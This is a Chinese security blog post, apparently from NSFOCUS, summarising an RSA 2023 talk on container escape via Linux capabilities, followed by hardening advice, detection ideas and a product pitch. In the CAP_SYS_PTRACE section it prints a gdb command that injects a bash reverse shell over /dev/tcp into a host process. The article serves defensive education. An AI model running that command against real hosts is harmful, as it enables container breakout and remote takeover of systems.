在本次RSA会议中，来自Cybereason公司的研究员分享了议题Container Escape All You Need Is Cap (Capabilities)，详细介绍了三种利用Capabilities权限进行容器逃逸的方法，希望让用户在使用容器环境时注意Capabilities权限的分配，保持最佳实践。下面将详细介绍该议题涉及的技术原理。
Capabilities利用
Capabilities简介
Capabilities机制是在Linux内核2.2版本之后引入的，它的出现是为了对root权限进行更细粒度的划分与控制，实现按需授权。常见的Capabilities信息可参考Linux manual page[1]，其中部分示例如图1所示：
图1 Capabilities权限与System Calls
大多数Capabilities都是具有有限数量系统调用的原子能力，但是也有一些Capabilities是权限过高的，例如CAP_SYS_ADMIN：
图2 CAP_SYS_ADMIN详情
如图2所示，在官方资料中也提示了其权限“overload”的风险，早在《CAP_SYS_ADMIN：the new root》[2]一文中就有研究员给出了分析。CAP_SYS_ADMIN不仅允许mount、umount、quotacrl等系统调用的执行，还包含了其他Capabilities的权限，如CAP_PERFMON、CAP_BPF和CAP_RESTORE_CHECKPOINT等。
Capabilities发现
默认情况下，Docker容器所具有的Capabilities如图3所示：
图3 Docker V20.10.7版本中默认Capabilities
也可以根据业务需要，在启动容器时主动赋予指定的Capabilities，具体方式主要有以下几种：
-
1）添加指定Capability:
docker run --cap-add=-it
-
2）添加所有Capability：
docker run --cap-add=ALL -it
-
3）删除指定Capability：
docker run --cap-drop=-it
-
4）删除所有Capability：
-
5）docker run --cap-drop=ALL -it
在Kubernetes中，可以通过securityContext字段进行配置：
图4 Kubernetes配置securityContext
在实际的容器环境攻防场景中，可以通过cat /proc/1/status命令查看该权限，如图5所示：
图5 Capabilities发现
Capabilities的值以BITMASK的形式显示，为了便于查看，需要使用capsh --decode=CAP BITMASK命令（容器环境内多数不安装capsh工具）进行解码，如图6所示：
图6 CAP BITMASK解码
利用CAP_SYS_MODULE逃逸
CAP_SYS_MODULE权限允许安装和卸载内核模块，如图7所示：
图7 CAP_SYS_MODULE详情
当容器被赋予该权限时，攻击者便可以在容器内安装自定义模块。其中一种方式是上传已编译的内核模块，但由于内核版本之间存在差异，所以提前编译的模块可能无法通用，但可以通过在本地模拟和目标相同的环境进行编译；另一种方式便是在目标容器环境内直接编译，具体利用手法可以参考《滥用CAP_SYS_MODULE导致容器逃逸》[3]，大致原理如图8所示：
图8 安装内核模块的攻击流程
利用CAP_SYS_PTRACE逃逸
图9 CAP_SYS_PTRACE详情
当容器被赋予CAP_SYS_PTRACE权限时，该权限允许使用ptrace系统调用。
ptrace() 系统调用是 Linux 系统提供的进程间通信机制之一，它的主要功能是允许一个进程（称为 tracer 进程）监视和控制另一个进程（称为 tracee 进程）。tracer 进程可以读取和写入 tracee 进程的寄存器和内存，并控制 tracee 进程的执行，例如单步执行、中断执行等。ptrace() 系统调用通常被用于实现 debugger 工具，例如 GDB，用于调试应用程序，跟踪程序崩溃的原因，或者在应用程序崩溃时生成转储文件。ptrace() 还可以用于实现代码注入和其他高级调试技术，当容器共享宿主机的pid命名空间时，便可以通过进程注入的方式进行容器逃逸。
下面将介绍两种利用ptrace()系统调用来进行逃逸的手法。
1） 进程Debugging
进程Debugging的攻击原理如图10所示：
图10 利用进程Debugging进行容器逃逸
该手法的利用前提条件为：
- CAP_SYS_PTRACE
- AppArmor配置为Unconfined
- 共享宿主机pid命名空间
在容器内查询宿主机上运行的进程ID，然后使用gdb相关命令进行Debug实现命令执行：
gdb -p PID
call (void)system("bash -c 'bash -i >& /dev/tcp//0>&1'")
2）Shellcode注入
Shellcode注入的攻击原理如图11所示：
图11 Shellcode注入进行逃逸
该手法利用前提条件同样为：
- CAP_SYS_PTRACE
- AppArmor配置为Unconfined
- 共享宿主机pid命名空间
在查询到宿主机进程ID后，执行注入代码[4]：
图12 Shellcode注入流程
防御与检测
在实际的容器业务中，Capabilities的分配并非都会进行严格限制，多数开源的应用在以容器化方式部署时，往往赋予了较高的Capabilities权限，如下图13所示：
图13 开源项目容器化部署的参数详情
那么站在企业的角度，如何防御并检测此类威胁？以下给出了容器使用的最佳实践以及相关的检测思路。
容器使用最佳实践
-
在创建容器时，先drop掉现有的Capabilities，然后通过--cap-add的方式进行手动添加，保证Capabilities的合理使用
-
尽可能避免使用特权容器，避免CAP_SYS_ADMIN功能
-
以非root用户运行容器内业务
-
配置AllowPrivilegeEscalation标志禁用权限提升
-
完善Seccomp策略[5]来限制恶意系统调用的执行
-
完善AppArmor策略来限制对系统资源的访问
检测思路
-
监控以可疑或未知镜像运行的容器资源
-
监控从容器内发起的可疑系统调用，如init_module、ptrace等
-
监控容器或主机上生成的可疑进程
总结与思考
本文主要介绍了利用Capabilities权限来进行容器逃逸的相关手法，与漏洞利用不同的是，此类不安全配置的利用手法更为简单，同时实战性也更强。原因是企业用户在使用容器环境时，可能会根据最新的漏洞通告，及时修复漏洞影响范围内的云原生基础设施，或是升级版本，或是使用补丁的方式，但往往容易忽略配置不当的风险。Capabilities、Seccomp、Apparmor等安全机制，都是需要人去进行合理的配置，但由于技能水平、安全意识、缺乏模板等各类因素，人在配置时难以实现最佳实践。如何保证安全云原生环境的最佳实践成为了企业需要思考并解决的问题。
绿盟云原生容器安全检测平台（简称CNSP）根据CIS Docker Benchmarks[6]、CIS Kubernetes Benchmark实现了针对容器、运行时、编排系统、编排文件等合规检测能力，能够及时识别并巩固云原生环境中的不安全配置，帮助用户建设安全的云原生环境：
图14 CNSP合规安全示例
在检测能力方面，CNSP目前已支持针对云原生环境中的安全检测能力，监控范围覆盖主机和容器上的行为和活动，包括容器逃逸、反弹shell、容器提权、恶意命令执行、后门部署、横向移动等各类攻击行为的检测能力。
图15 CNSP运行时检测示例
参考文献
[1] https://man7.org/linux/man-pages/man7/capabilities.7.html
[2] https://lwn.net/Articles/486306/
[3] https://github.com/Metarget/metarget/tree/master/writeups_cnv/config-cap_sys_module-container
[4] https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
[5] https://github.com/moby/moby/blob/master/profiles/seccomp/default.json
[6] https://www.cisecurity.org/benchmark/docker
原文始发于微信公众号（绿盟科技）：洞见RSA 2023｜容器逃逸之Capabilities利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论